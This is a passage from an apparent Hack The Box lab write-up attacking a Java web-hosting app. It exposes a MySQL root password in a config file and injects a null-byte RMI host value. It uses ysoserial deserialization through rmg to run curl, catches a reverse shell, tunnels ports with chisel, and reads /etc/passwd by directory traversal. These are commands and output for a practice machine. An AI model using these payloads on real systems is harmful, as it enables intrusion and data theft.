in /etc/hosts
:
#Mon Jan 30 21:05:01 GMT 2023
mysql.password=O8lBvQUBPU4CMbvJmYqY
rmi.host=registry.webhosting.htb
mysql.user=root
mysql.port=3306
mysql.host=192.168.1.132
domains.start-template=<body>\r\n<h1>It works\!</h1>\r\n</body>
domains.max=5
rmi.port=9002
$ docker run -it --rm -v "$PWD:/home/rocky" -p 8080:8080 tomcat:9.0.2 bash
root@a4c9f6e5a3b4:/usr/local/tomcat# cp /home/rocky/hosting.ini /etc
root@a4c9f6e5a3b4:/usr/local/tomcat# cp /home/rocky/hosting.war webapps
root@a4c9f6e5a3b4:/usr/local/tomcat# echo '192.168.1.132 registry.webhosting.htb' >> /etc/hosts
root@a4c9f6e5a3b4:/usr/local/tomcat#
root@a4c9f6e5a3b4:/usr/local/tomcat# catalina.sh run
Using CATALINA_BASE: /usr/local/tomcat
Using CATALINA_HOME: /usr/local/tomcat
Using CATALINA_TMPDIR: /usr/local/tomcat/temp
Using JRE_HOME: /docker-java-home
Using CLASSPATH: /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar
NOTE: Picked up JDK_JAVA_OPTIONS: --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED
INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Server version: Apache Tomcat/9.0.2
INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Server built: Nov 25 2017 21:08:02 UTC
INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Server number: 9.0.2.0
INFO [main] org.apache.catalina.startup.VersionLoggerListener.log OS Name: Linux
INFO [main] org.apache.catalina.startup.VersionLoggerListener.log OS Version: 5.15.49-linuxkit-pr
INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Architecture: aarch64
INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Java Home: /usr/lib/jvm/java-9-openjdk-arm64
INFO [main] org.apache.catalina.startup.VersionLoggerListener.log JVM Version: 9.0.1+11-Debian-1
INFO [main] org.apache.catalina.startup.VersionLoggerListener.log JVM Vendor: Oracle Corporation
INFO [main] org.apache.catalina.startup.VersionLoggerListener.log CATALINA_BASE: /usr/local/tomcat
INFO [main] org.apache.catalina.startup.VersionLoggerListener.log CATALINA_HOME: /usr/local/tomcat
INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: --add-opens=java.base/java.lang=ALL-UNNAMED
INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED
INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Djava.util.logging.config.file=/usr/local/tomcat/conf/logging.properties
INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager
INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Djdk.tls.ephemeralDHKeySize=2048
INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Djava.protocol.handler.pkgs=org.apache.catalina.webresources
INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Dignore.endorsed.dirs=
INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Dcatalina.base=/usr/local/tomcat
INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Dcatalina.home=/usr/local/tomcat
INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Djava.io.tmpdir=/usr/local/tomcat/temp
INFO [main] org.apache.catalina.core.AprLifecycleListener.lifecycleEvent Loaded APR based Apache Tomcat Native library [1.2.16] using APR version [1.6.3].
INFO [main] org.apache.catalina.core.AprLifecycleListener.lifecycleEvent APR capabilities: IPv6 [true], sendfile [true], accept filters [false], random [true].
INFO [main] org.apache.catalina.core.AprLifecycleListener.lifecycleEvent APR/OpenSSL configuration: useAprConnector [false], useOpenSSL [true]
INFO [main] org.apache.catalina.core.AprLifecycleListener.initializeSSL OpenSSL successfully initialized [OpenSSL 1.1.0g 2 Nov 2017]
INFO [main] org.apache.coyote.AbstractProtocol.init Initializing ProtocolHandler ["http-nio-8080"]
INFO [main] org.apache.tomcat.util.net.NioSelectorPool.getSharedSelector Using a shared selector for servlet write/read
INFO [main] org.apache.coyote.AbstractProtocol.init Initializing ProtocolHandler ["ajp-nio-8009"]
INFO [main] org.apache.tomcat.util.net.NioSelectorPool.getSharedSelector Using a shared selector for servlet write/read
INFO [main] org.apache.catalina.startup.Catalina.load Initialization processed in 241 ms
INFO [main] org.apache.catalina.core.StandardService.startInternal Starting service [Catalina]
INFO [main] org.apache.catalina.core.StandardEngine.startInternal Starting Servlet Engine: Apache Tomcat/9.0.2
INFO [main] org.apache.catalina.startup.HostConfig.deployWAR Deploying web application archive [/usr/local/tomcat/webapps/hosting.war]
INFO [main] org.apache.jasper.servlet.TldScanner.scanJars At least one JAR was scanned for TLDs yet contained no TLDs. Enable debug logging for this logger for a complete list of JARs that were scanned but no TLDs were found in them. Skipping unneeded JARs during scanning can improve startup time and JSP compilation time.
INFO [main] com.htb.hosting.utils.config.ConfigSchedule.contextInitialized Initializing config watcher
INFO [main] com.htb.hosting.utils.config.ConfigSchedule$1.onChange Config watcher detected file changes
INFO [main] org.hibernate.Version.logVersion HHH000412: Hibernate ORM core version 5.4.16.Final
INFO [main] org.hibernate.annotations.common.reflection.java.JavaReflectionManager.<clinit> HCANN000001: Hibernate Commons Annotations {5.1.0.Final}
WARN [main] org.hibernate.engine.jdbc.connections.internal.DriverManagerConnectionProviderImpl.configure HHH10001002: Using Hibernate built-in connection pool (not for production use!)
INFO [main] org.hibernate.engine.jdbc.connections.internal.DriverManagerConnectionProviderImpl.buildCreator HHH10001005: using driver [com.mysql.cj.jdbc.Driver] at URL [jdbc:mysql://192.168.1.132:3306/hosting?allowPublicKeyRetrieval=true&useSSL=false&serverTimezone=Europe/Rome]
INFO [main] org.hibernate.engine.jdbc.connections.internal.DriverManagerConnectionProviderImpl.buildCreator HHH10001001: Connection properties: {password=****, user=root}
INFO [main] org.hibernate.engine.jdbc.connections.internal.DriverManagerConnectionProviderImpl.buildCreator HHH10001003: Autocommit mode: false
INFO [main] org.hibernate.engine.jdbc.connections.internal.DriverManagerConnectionProviderImpl$PooledConnections.<init> HHH000115: Hibernate connection pool size: 20 (min=1)
INFO [main] org.hibernate.dialect.Dialect.<init> HHH000400: Using dialect: org.hibernate.dialect.MySQL5Dialect
INFO [main] org.apache.catalina.startup.HostConfig.deployWAR Deployment of web application archive [/usr/local/tomcat/webapps/hosting.war] has finished in [1,786] ms
INFO [main] org.apache.catalina.startup.HostConfig.deployDirectory Deploying web application directory [/usr/local/tomcat/webapps/host-manager]
INFO [main] org.apache.catalina.startup.HostConfig.deployDirectory Deployment of web application directory [/usr/local/tomcat/webapps/host-manager] has finished in [13] ms
INFO [main] org.apache.catalina.startup.HostConfig.deployDirectory Deploying web application directory [/usr/local/tomcat/webapps/docs]
INFO [main] org.apache.catalina.startup.HostConfig.deployDirectory Deployment of web application directory [/usr/local/tomcat/webapps/docs] has finished in [8] ms
INFO [main] org.apache.catalina.startup.HostConfig.deployDirectory Deploying web application directory [/usr/local/tomcat/webapps/ROOT]
INFO [main] org.apache.catalina.startup.HostConfig.deployDirectory Deployment of web application directory [/usr/local/tomcat/webapps/ROOT] has finished in [7] ms
INFO [main] org.apache.catalina.startup.HostConfig.deployDirectory Deploying web application directory [/usr/local/tomcat/webapps/examples]
INFO [main] org.apache.catalina.startup.HostConfig.deployDirectory Deployment of web application directory [/usr/local/tomcat/webapps/examples] has finished in [67] ms
INFO [main] org.apache.catalina.startup.HostConfig.deployDirectory Deploying web application directory [/usr/local/tomcat/webapps/manager]
INFO [main] org.apache.catalina.startup.HostConfig.deployDirectory Deployment of web application directory [/usr/local/tomcat/webapps/manager] has finished in [8] ms
INFO [main] org.apache.coyote.AbstractProtocol.start Starting ProtocolHandler ["http-nio-8080"]
INFO [main] org.apache.coyote.AbstractProtocol.start Starting ProtocolHandler ["ajp-nio-8009"]
INFO [main] org.apache.catalina.startup.Catalina.start Server startup in 1949 ms
And now we have the same web application in our local environment:
If we start nc
on port 9002 and we try to create a new domain, we will get a hit:
$ nc -nlvp 9002
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9002
Ncat: Listening on 0.0.0.0:9002
Ncat: Connection from 192.168.1.132:56182.
JRMIK
And this is the event logged in the Tomcat server:
INFO [http-nio-8080-exec-9] com.htb.hosting.rmi.RMIClientWrapper.get Connecting to registry.webhosting.htb:9002
But here we have cheated, since we have set our IP address for registry.webhosting.htb
. We need to somehow enter our IP address so that it contains .htb
and it is still valid for RMI. Actually, if we add a null byte between the IP address and .htb
, it will still work (10.10.17.44\x00.htb
). Let’s use the mass assignment vulnerability for that:
$ curl 127.0.0.1:8080/hosting/reconfigure -d 'rmi.host=192.168.1.132%00.htb' -H 'Cookie: JSESSIONID=B80CCB6B4738BFF2C491C9D5DABBF32B'
At this point, I started looking at how RMI works, developing some client-server examples and trying to adapt them to this challenge. I was able to define a FileService
implementation that was consumed by the Tomcat RMI client, but when I tried to get code execution, it was on my machine (the RMI server), and not in Tomcat.
Then, I thought that it would be more difficult to achieve code execution on the RMI client, so I started looking for automated tools like ysoserial
or remote-method-guesser (rmg
). Actually, option listen
from rmg
was helpful to get RCE, because it sends a deserialization payload. We just need to do the following:
$ java -jar rmg-4.4.1-jar-with-dependencies.jar listen --yso ysoserial-all.jar 0.0.0.0 9002 CommonsCollections6 "curl 192.168.1.132:9999/rce"
[+] Creating ysoserial payload... done.
[+] Creating a JRMPListener on 0.0.0.0:9002.
[+] Handing off to ysoserial...
Now, if we trigger the RMI method call (doing some stuff with the domains of the website), we will get a connection:
$ java -jar rmg-4.4.1-jar-with-dependencies.jar listen --yso ysoserial-all.jar 0.0.0.0 9002 CommonsCollections6 "curl 192.168.1.132:9999/rce"
[+] Creating ysoserial payload... done.
[+] Creating a JRMPListener on 0.0.0.0:9002.
[+] Handing off to ysoserial...
Have connection from /192.168.1.132:65047
Reading message...
Sending return with payload for obj [0:0:0, 0]
Closing connection
And the curl
command will be executed:
$ nc -nlvp 9999
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 192.168.1.132:65048.
GET /rce HTTP/1.1
Host: 192.168.1.132:9999
User-Agent: curl/7.57.0
Accept: */*
Foothold
Now, it’s time to return to the machine. To get a reverse shell, we might want to encode the reverse shell command in Runtime.exec
format (see this page):
$ nc -nlvp 4444
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.223:50780.
bash: cannot set terminal process group (1): Not a tty
bash: no job control in this shell
bash-4.4$ whoami
whoami
app
bash-4.4$ ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP qlen 1000
link/ether 00:50:56:b9:a0:c1 brd ff:ff:ff:ff:ff:ff
inet 10.10.11.223/23 brd 10.10.11.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:a0c1/64 scope global dynamic
valid_lft 86399sec preferred_lft 14399sec
inet6 fe80::250:56ff:feb9:a0c1/64 scope link
valid_lft forever preferred_lft forever
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN
link/ether 02:42:78:33:5b:fc brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
4: br-59a3a780b7b3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP
link/ether 02:42:ae:c2:66:b5 brd ff:ff:ff:ff:ff:ff
inet 172.19.0.1/16 brd 172.19.255.255 scope global br-59a3a780b7b3
valid_lft forever preferred_lft forever
inet6 fe80::42:aeff:fec2:66b5/64 scope link
valid_lft forever preferred_lft forever
6: vethfc04326@if5: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue master br-59a3a780b7b3 state UP
link/ether 3e:c4:0d:ef:f1:5a brd ff:ff:ff:ff:ff:ff
inet6 fe80::3cc4:dff:feef:f15a/64 scope link
valid_lft forever preferred_lft forever
8: veth74a0872@if7: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue master br-59a3a780b7b3 state UP
link/ether 9e:41:79:f1:fe:08 brd ff:ff:ff:ff:ff:ff
inet6 fe80::9c41:79ff:fef1:fe08/64 scope link
valid_lft forever preferred_lft forever
System enumeration
We are inside a Docker container, and there are no useful commands to get a full TTY.
These are the open ports:
bash-4.4$ netstat -nat
netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:5000 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:5001 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:3310 0.0.0.0:* LISTEN
tcp 0 67 10.10.11.223:50780 10.10.17.44:4444 ESTABLISHED
tcp 0 1 10.10.11.223:56116 8.8.8.8:53 SYN_SENT
tcp 0 0 :::22 :::* LISTEN
tcp 0 0 :::443 :::* LISTEN
tcp 0 0 :::41149 :::* LISTEN
tcp 0 0 ::ffff:127.0.0.1:8005 :::* LISTEN
tcp 0 0 :::5000 :::* LISTEN
tcp 0 0 :::8009 :::* LISTEN
tcp 0 0 :::5001 :::* LISTEN
tcp 0 0 :::9002 :::* LISTEN
tcp 0 0 :::3306 :::* LISTEN
tcp 0 0 :::3310 :::* LISTEN
tcp 0 0 :::8080 :::* LISTEN
tcp 0 0 ::ffff:10.10.11.223:50706 ::ffff:10.10.17.44:9002 CLOSE_WAIT
tcp 0 0 ::ffff:127.0.0.1:44910 ::ffff:127.0.0.1:3306 ESTABLISHED
tcp 0 0 ::ffff:127.0.0.1:3306 ::ffff:127.0.0.1:44910 ESTABLISHED
tcp 0 0 ::ffff:127.0.0.1:3306 ::ffff:127.0.0.1:52566 TIME_WAIT
We could try accessing MySQL using port forwarding, but it is useless, there’s nothing interesting in the database.
Another interesting port is 3310. We can use chisel
to forward the port:
$ ./chisel server -p 1234 --reverse
2023/07/27 01:58:12 server: Reverse tunnelling enabled
2023/07/27 01:58:12 server: Fingerprint PMhZqwwnPDmxTpEYJlVO2Uoh2i17tNwX7IjunrBmyGo=
2023/07/27 01:58:12 server: Listening on http://0.0.0.0:1234
2023/07/27 02:02:52 server: session#1: tun: proxy#R:3310=>3310: Listening
bash-4.4$ /tmp/.chisel client 10.10.17.44:1234 R:3310:127.0.0.1:3310
/tmp/.chisel client 10.10.17.44:1234 R:3310:127.0.0.1:3310
2023/07/27 00:02:41 client: Connecting to ws://10.10.17.44:1234
2023/07/27 00:02:42 client: Connected (Latency 107.543592ms)
Now, with nmap
we can see that it is running ClamAV version 0.103.8, which seems to be secure:
$ nmap -sC -sV -sT 127.0.0.1 -p 3310
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-27 02:02 CEST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00016s latency).
PORT STATE SERVICE VERSION
3310/tcp open clam ClamAV 0.103.8 (26959) (AV definitions updated on:Tue Jul 4 07:29:23 2023)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.52 seconds
Notice that port 9002 is open, so we have access to the legitimate RMI server. We can forward the port again and use rmg
to enumerate the RMI registry:
$ java -jar rmg-4.4.1-jar-with-dependencies.jar enum 127.0.0.1 9002
[+] RMI registry bound names:
[+]
[+] - QuarantineService
[+] --> com.htb.hosting.rmi.quarantine.QuarantineService (unknown class)
[+] Endpoint: registry.webhosting.htb:39311 TLS: no ObjID: [5ec136a4:189974e59cd:-7ffe, 7286554781873068889]
[+] - FileService
[+] --> com.htb.hosting.rmi.FileService (unknown class)
[+] Endpoint: registry.webhosting.htb:39311 TLS: no ObjID: [5ec136a4:189974e59cd:-7fff, -2889004651920348113]
[+]
[+] RMI server codebase enumeration:
[+]
[+] - The remote server does not expose any codebases.
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] - Server complained that object cannot be casted to java.lang.String.
[+] --> The type java.lang.String is unmarshalled via readString().
[+] Configuration Status: Current Default
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] - RMI registry uses readString() for unmarshalling java.lang.String.
[+] This prevents useCodebaseOnly enumeration from remote.
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] - Caught NotBoundException during unbind call (unbind was accepted).
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] - Caught Exception containing 'no security manager' during RMI call.
[+] --> The server does not use a Security Manager.
[+] Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enumeration:
[+]
[+] - RMI registry uses readString() for unmarshalling java.lang.String.
[+] This prevents JEP 290 bypass enumeration from remote.
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] - Caught NoSuchObjectException during activate call (activator not present).
[+] Configuration Status: Current Default
Actually, there are two: FileService
and QuarantineService
. For the moment, we only know about FileService
, we’ve got the function signatures. The idea now is to call these functions from the RMI registry.
There are some examples in the WAR file. Based on those, we can build this RMI client to interact with the RMI server:
package com.htb.hosting.rmi;
import com.htb.hosting.rmi.AbstractFile;
import java.nio.charset.StandardCharsets;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Arrays;
import java.util.Base64;
import java.util.List;
public class Client {
public static void main(String[] args) {
String cmd = args[0];
try {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9002);
FileService stub = (FileService) registry.lookup("FileService");
if (cmd.equals("list")) {
List<AbstractFile> response = stub.list(args[1], args[2]);
response.stream().map(f -> f.getDisplayName()).forEach(System.out::println);
} else if (cmd.equals("createDirectory")) {
boolean response = stub.createDirectory(args[1], args[2]);
System.out.println(response);
} else if (cmd.equals("view")) {
byte[] response = stub.view(args[1], args[2]);
System.out.println(new String(response, StandardCharsets.UTF_8));
} else if (cmd.equals("newDomain")) {
boolean response = stub.newDomain(args[1]);
System.out.println(response);
} else if (cmd.equals("uploadFile")) {
boolean response = stub.uploadFile(args[1], args[2], Base64.getDecoder().decode(args[3]));
System.out.println(response);
}
} catch (Exception e) {
System.err.println("Client exception: " + e.toString());
e.printStackTrace();
}
}
}
Basically, I took the functions that were more interesting, added command-line arguments to call them and then print the result. We don’t know the specific implementation, so we must try them all.
Just for sanity, let’s check the Java version in the container:
bash-4.4$ java -version
java -version
openjdk version "1.8.0_151"
OpenJDK Runtime Environment (IcedTea 3.6.0) (Alpine 8.151.12-r0)
OpenJDK 64-Bit Server VM (build 25.151-b12, mixed mode)
Hence, let’s use a Docker container with this specific version of Java to compile the above class:
$ docker run -it --rm -v "$PWD:/home/rocky" openjdk:8 bash
root@a3e3202d3b31:/# cd /home/rocky
root@a3e3202d3b31:/home/rocky# javac com/htb/hosting/rmi/Client.java
root@a3e3202d3b31:/home/rocky# cp com/htb/hosting/rmi/Client.class .
Now we can upload the class file to the remote container and use it from there:
bash-4.4$ cd /tmp
cd /tmp
bash-4.4$ wget -qO Client.class 10.10.17.44:8000/Client.class
wget -qO Client.class 10.10.17.44:8000/Client.class
bash-4.4$ mkdir -p com/htb/hosting/rmi
mkdir -p com/htb/hosting/rmi
bash-4.4$ mv Client.class com/htb/hosting/rmi
mv Client.class com/htb/hosting/rmi
bash-4.4$ cp /usr/local/tomcat/webapps/hosting/WEB-INF/classes/com/htb/hosting/rmi/*.class com/htb/hosting/rmi
<ses/com/htb/hosting/rmi/*.class com/htb/hosting/rmi
bash-4.4$ java com.htb.hosting.rmi.Client newDomain asdf
java com.htb.hosting.rmi.Client newDomain asdf
true
bash-4.4$ java com.htb.hosting.rmi.Client view '' ''
java com.htb.hosting.rmi.Client view '' ''
Client exception: java.lang.IllegalArgumentException: Specified vhost not matching regex '[0-9a-fA-F]+':
java.lang.IllegalArgumentException: Specified vhost not matching regex '[0-9a-fA-F]+':
at com.htb.hosting.rmi.FileServiceImpl.getFromDocumentRoot(FileServiceImpl.java:30)
at com.htb.hosting.rmi.FileServiceImpl.view(FileServiceImpl.java:204)
at jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:566)
at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:359)
at sun.rmi.transport.Transport$1.run(Transport.java:200)
at sun.rmi.transport.Transport$1.run(Transport.java:197)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.Transport.serviceCall(Transport.java:196)
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:562)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:796)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:677)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:676)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628)
at java.lang.Thread.run(Thread.java:829)
at sun.rmi.transport.StreamRemoteCall.exceptionReceivedFromServer(StreamRemoteCall.java:283)
at sun.rmi.transport.StreamRemoteCall.executeCall(StreamRemoteCall.java:260)
at sun.rmi.server.UnicastRef.invoke(UnicastRef.java:161)
at java.rmi.server.RemoteObjectInvocationHandler.invokeRemoteMethod(RemoteObjectInvocationHandler.java:227)
at java.rmi.server.RemoteObjectInvocationHandler.invoke(RemoteObjectInvocationHandler.java:179)
at com.sun.proxy.$Proxy0.view(Unknown Source)
at com.htb.hosting.rmi.Client.main(Client.java:30)
As can be seen, we are interacting with the RMI server. The newDomain
function was successful, but in view
we need to pass a RegEx:
bash-4.4$ java com.htb.hosting.rmi.Client view 1337 ''
java com.htb.hosting.rmi.Client view 1337 ''
bash-4.4$ java com.htb.hosting.rmi.Client view asdf
java com.htb.hosting.rmi.Client view asdf
Client exception: java.lang.ArrayIndexOutOfBoundsException: 2
java.lang.ArrayIndexOutOfBoundsException: 2
at com.htb.hosting.rmi.Client.main(Client.java:30)
bash-4.4$ java com.htb.hosting.rmi.Client view /
java com.htb.hosting.rmi.Client view /
Client exception: java.lang.ArrayIndexOutOfBoundsException: 2
java.lang.ArrayIndexOutOfBoundsException: 2
at com.htb.hosting.rmi.Client.main(Client.java:30)
bash-4.4$ java com.htb.hosting.rmi.Client view 1337 asdf
java com.htb.hosting.rmi.Client view 1337 asdf
After some tries, we can guess that the domain name must match the RegEx, so let’s create a new one:
bash-4.4$ java com.htb.hosting.rmi.Client newDomain 1337
java com.htb.hosting.rmi.Client newDomain 1337
true
bash-4.4$ java com.htb.hosting.rmi.Client view 1337 asdf
java com.htb.hosting.rmi.Client view 1337 asdf
Client exception: java.nio.file.NoSuchFileException: /sites/www.static-1337.webhosting.htb/asdf
java.nio.file.NoSuchFileException: /sites/www.static-1337.webhosting.htb/asdf
at sun.nio.fs.UnixException.translateToIOException(UnixException.java:92)
at sun.nio.fs.UnixException.rethrowAsIOException(UnixException.java:111)
at sun.nio.fs.UnixException.rethrowAsIOException(UnixException.java:116)
at sun.nio.fs.UnixFileSystemProvider.newByteChannel(UnixFileSystemProvider.java:219)
at java.nio.file.Files.newByteChannel(Files.java:371)
at java.nio.file.Files.newByteChannel(Files.java:422)
at java.nio.file.Files.readAllBytes(Files.java:3206)
at com.htb.hosting.rmi.FileServiceImpl.view(FileServiceImpl.java:212)
at jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:566)
at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:359)
at sun.rmi.transport.Transport$1.run(Transport.java:200)
at sun.rmi.transport.Transport$1.run(Transport.java:197)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.Transport.serviceCall(Transport.java:196)
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:562)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:796)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:677)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:676)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628)
at java.lang.Thread.run(Thread.java:829)
at sun.rmi.transport.StreamRemoteCall.exceptionReceivedFromServer(StreamRemoteCall.java:283)
at sun.rmi.transport.StreamRemoteCall.executeCall(StreamRemoteCall.java:260)
at sun.rmi.server.UnicastRef.invoke(UnicastRef.java:161)
at java.rmi.server.RemoteObjectInvocationHandler.invokeRemoteMethod(RemoteObjectInvocationHandler.java:227)
at java.rmi.server.RemoteObjectInvocationHandler.invoke(RemoteObjectInvocationHandler.java:179)
at com.sun.proxy.$Proxy0.view(Unknown Source)
at com.htb.hosting.rmi.Client.main(Client.java:30)
Now we can start thinking on what to do next… The field asdf
is appended to a file path… So, let’s perform a Directory Traversal attack:
bash-4.4$ java com.htb.hosting.rmi.Client view 1337 ../../etc/hosts
java com.htb.hosting.rmi.Client view 1337 ../../etc/hosts
127.0.0.1 localhost webhosting.htb registry.webhosting.htb registrytwo
127.0.1.1 rpc
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
bash-4.4$ java com.htb.hosting.rmi.Client view 1337 ../../etc/hostname
java com.htb.hosting.rmi.Client view 1337 ../../etc/hostname
registry
bash-4.4$ java com.htb.hosting.rmi.Client view 1337 ../../etc/passwd
java com.htb.hosting.rmi.Client view 1337 ../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
clamav:x:111:113::/var/lib/clamav:/bin/false
rmi-service:x:999:998::/home/rmi-service:/bin/false
developer:x:1001:1001:,,,:/home/developer:/bin/bash
_laurel:x:998:997::/var/log/laurel:/bin/false
Great, we have the ability to read files from the machine. Let’s use list
:
bash-4.4$ java com.htb.hosting.rmi.Client list 1337 ../../
java com.htb.hosting.rmi.Client list 1337 ../../
..
initrd.img
opt
sbin
snap
root
var
proc
mnt
vmlinuz
vmlinuz.old
boot
tmp
initrd.img.old
cdrom
home
lib64
quarantine
run
dev
sys
etc
media
usr
srv
lib
sites
lost+found
bin
